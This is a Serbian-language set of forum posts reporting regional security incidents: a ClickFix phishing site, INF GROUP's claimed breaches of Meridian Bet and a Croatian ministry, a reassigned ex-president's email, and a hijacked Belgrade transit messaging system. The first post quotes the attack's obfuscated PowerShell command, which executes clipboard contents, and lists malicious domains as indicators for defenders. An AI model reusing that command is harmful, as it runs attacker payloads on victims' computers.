kompromitovan je sajt i na njemu je phishing kao clickFix:

   

Powershell komanda: 
C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe -c &(Get-Alias i*x) ((Get-Clipboard -Raw) -replace '^.{260}', '' 

maliciozni domeni: 
facuoup[.]rainbow-me[.]online, 
bah[.]edu[.]rs 
unionson.adobecom[.]online

Iz nekih sandbox-a nece uopste da otvori deo za Catpha-u, tako da najverovatnije ima mehanizme detekcije sandbox-a.

Pozdrav.

Mail server mail1.bia.gov.rs (195.178.51.208) komunicira sa generičnim Trend Micro DDEI samopotpisanim sertifikatom umesto lancem koji bi sadržao serverski sertifikat sa MX nazivom kao CN (mail1.bia.gov.rs ili *.bia.gov.rs) i posredni.

Najverovatnije sve radi, ali svakako nije pravilno.

   

Izuzetno aktivna grupa INF GROUP je objavila kompromitaciju baze Meridian Bet, verovatno online kladionice?. Nude Meridianbetu da ih kontaktira u roku od 72 sata radi dogovora, ako se ne jave podaci će navodno ići na prodaju onome ko je voljan da plati petocifrenu cenu u evrima.

Kompromitacija navodno sadrži 3.8 miliona korisnika iz raznih zemalja gde ova firma posluje.

   

postavljen uzorak su zapisi za 5 korisnika, 4 od kojih su iz Republike Srpske a 1 iz Srbije. Nalozi u uzorku su verovatno napravljeni na platformi 2023. godine, ta godina se nalazi u jednom polju uzorka.

Jasno je iz uzorka da ovih 3.8 miliona nisu svi aktivni korisnici, od pet u uzorku svih pet su blokirani na platformi uz komentar kao što je na primer "više naloga" ili "blok zbog malverzacija na pokeru."

Grupa "INF GROUP" je objavila kompromitaciju podataka od mpudt.gov.hr - Ministarstva pravosuđa, uprave i digitalne transformacije Republike Hrvatske. Doduše nisu rekli tačno koja je žrtva ali su kolege iz Hrvatske na osnovu podataka tako zaključili.

   

Podaci su postavljeni za preuzimanje od strane grupe i sadrže Ime Prezime, OIB i JMBG kao i datum rođenja fizičkih lica. Odvojeno od toga sadrže nekakve podatke o kaznama MUPa prema fizičkim licima i još nešto o tužbama pravnih lica. Ovo su verovatno podaci nekog pravosudnog dela kompromitovanog Ministarstva.

Ova grupa je ranije preuzela odgovornost za Kompromitovan mrosp.gov.hr - narusen izgled sajta i za kompromitovan sistem poruka vozačima gradskog saobraćaja - poslata poruka i po svemu sudeći stoji iza aktera sa pseudonimom "vvvv" sa jednog foruma koji je objavio kompromitacije torta.rs, podaci građana kompromitovanih od javnih izvršitelja, Uprave za Strance od MUP Srbije, Fudbalskog Saveza Srbije...

Oba kompromitovana Hrvatska sajta odnosno mrosp.gov.hr i mpudt.gov.hr se nalaze iza njihovog državnog WAF-a na IP adresi  85.209.12.20 ukazujući da možda ovde nije kraj kompromitaciji sajtova koji se nalaze iza ove IP adrese a ima ih mnogo. Izgleda i da je lozinka koju su kako su rekli iz državne uprave Hrvatske "izgubili" imala pristup mnogo čemu.

Prvobitni procureli fajl je sadržao 20,000 zapisa, kasnije su objavili dodatni fajl sa još 40,000 zapisa za ukupno 60,000 kompromitovanih zapisa građana Hrvatske :

   

   

Kako sam za 1.99 € dobio pristup email adresi bivšeg predsjednika Crne Gore

Quote:Zaključak

Promjena poslovnog modela email servisa sama po sebi nije neobična. Međutim, način na koji se upravlja postojećim email adresama i njihovim sadržajem mora biti implementiran uz stroge sigurnosne standarde.

U ovom slučaju, proces je omogućio da se za svega nekoliko eura registruje email adresa koja je ranije pripadala bivšem predsjedniku Crne Gore, Filipu Vujanoviću — uz pristup postojećem sadržaju inboxa.

Ovaj primjer pokazuje koliko je važno da kompanije prilikom migracije ili komercijalizacije email servisa obrate pažnju na:

• zaštitu privatnosti korisnika
  
• pravilno brisanje starih podataka
  
• sprječavanje ponovne dodjele osjetljivih email adresa
  
  

Jer u digitalnom svijetu, čak i mala tehnička greška može imati velike posljedice.

Curenje fotografija aktiviste Nikole Ristića sa nadzornih kamera beogradskog aerodroma u tabloide, obelodanilo je da je aerodrom omogućio pristup ovom nadzoru bez ikakvih sporazuma i pravila „neograničenom broju ljudi“

   

Izgleda da je neko danas uspeo da pošalje proizvoljnu poruku na sve terminale koje vozači gradskog saobraća u Beogradu imaju u vozilima...